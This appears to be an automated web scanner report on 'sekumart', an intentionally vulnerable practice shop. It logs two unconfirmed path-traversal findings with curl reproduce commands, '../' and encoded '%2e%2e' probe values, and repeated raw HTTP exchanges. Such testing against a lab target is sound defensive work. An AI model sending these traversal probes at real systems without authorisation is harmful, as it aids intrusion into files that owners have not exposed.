GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:13 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · path unconfirmed · low confidence BV-045 info

location: GET https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1
input: path in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

path reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

path looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1'

GET /cart.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1…

request

GET /cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1…

request

GET /cart.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=skst5y7wi/../1&email=1&token=1…

request

GET /cart.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=skst5y7wi/%2e%2e/1&email=1&token=1…

request

GET /cart.php?fileName=1&path=skst5y7wi/%2e%2e/1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=skst5y7wi/1&email=1&token=1&action=1…

request

GET /cart.php?fileName=1&path=skst5y7wi/1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?fileName=1&path=&email=1&token=1&action=1&value=1…

request

GET /cart.php?fileName=1&path=&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:07 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · path unconfirmed · low confidence BV-046 info

location: GET https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1
input: path in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

path reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

path looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1'

GET /catalog.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=…

request

GET /catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=…

request

GET /catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=skst5y7wi/../1&email=1&token=1…

request

GET /catalog.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=skst5y7wi/%2e%2e/1&email=1&token=…

request

GET /catalog.php?fileName=1&path=skst5y7wi/%2e%2e/1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=skst5y7wi/1&email=1&token=1…

request

GET /catalog.php?fileName=1&path=skst5y7wi/1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal
